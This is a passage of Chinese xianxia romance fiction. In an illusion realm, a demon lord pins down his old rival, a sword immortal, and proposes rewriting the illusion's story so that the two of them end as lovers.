封烛不答,握着萧无雪的手腕,顺势将他拉向自己。 刀剑无眼,锋利的剑锋瞬间划破了封烛的衣衫,萧无雪连忙松手,手中的凌云剑化作一道银光消散开。 再回过神来,他已被封烛搂进怀里,翻身压在了身下。 “阿霁,为什么把剑收了?”封烛含笑俯下身来,没错过对方眼底一瞬间的慌乱,“你方才直接给我一剑,一切不就都结束了吗?” “……”萧无雪头偏向一边,“你若真这么想死,我可以成全你。” “我这条命,是好不容易才捡回来的,我可不想死。”封烛问,“那你呢,你想让我死吗?” 他这话问得轻描淡写,仿佛讨论的不是生死,而是什么稀松平常的日常。 萧无雪不愿理会,封烛却捏住他的下颚,逼他转过头来。 他注视着那双冰冷沉静的双眼,定定地看了好一会儿,才笑着说出答案:“你不想让我死。” “……为什么?” 是啊,为什么呢。 百年前那场大战,他分明不曾有任何犹豫。 他与封烛正魔不两立,在苍生与魔族面前,他根本不需要犹豫。 那为什么,如今竟会下不了手呢? 他明明……早就那么做过了。 萧无雪睫羽轻颤,好似被人看穿了什么似的,狼狈错开视线,不敢去看封烛的神情。 因而没有看见,封烛也收起了他那副漫不经心的神色。 “我真是搞不懂你。”他喃喃道,“百年前那样狠心,偏要与我决一死战,现在为何又做出这副模样?” 他用指腹轻轻摩挲着萧无雪的唇角,一点点描摹着那俊秀漂亮的轮廓,触感如记忆中那般温热柔软。 “我明明一直……” “放手。”萧无雪的呼吸彻底乱了,心脏在胸腔剧烈跳动,仿佛潜意识在逃避着什么,“这都什么时候了,还在胡言乱语,放开我!” 封烛的动作有短暂停滞。 他眼底闪过一丝黯色,像是带着某种极深极沉的情绪,但最终没有多说什么。 可他也没有放开,反倒变本加厉,压着萧无雪的身体俯身贴近:“阿霁,按你方才的说法,这幻境,应当还有另一个破解之法。” 萧无雪:“……什么?” “其实,在少年被送来山寨之前,寨主就已经被人掉包了。一个邪魔顶替了寨主的位置,少年对邪魔一见钟情,自愿委身于他。而邪魔也爱上了少年,二人荡平山寨,报复了欺负少年的村民,从此浪迹江湖,过上了幸福的日子。” 封烛问:“这个故事,你觉得如何?” 萧无雪只觉得荒唐:“哪有这样的故事?” “你怎么知道没有?”封烛道,“这浮生幻境要的不就是个结局,我误入此地,已经不是原本那个寨主了。故事受到外来者的影响,从而被更改了走向,不是更符合现状吗?” 他轻轻勾起唇角:“……如何,要试试吗?” 长久的沉默。 “说话。”封烛道,“再不说话,我就亲你了。” 萧无雪闭了闭眼,声音几乎从齿缝中挤出来:“不可能……这根本没有道理……” “不试试,怎么知道不可能?” “阿霁,我的性命现在就交到你手上了。”他重新俯下身,在萧无雪耳畔戏谑般低声问,“是要杀了我,还是……与我共赴巫山?”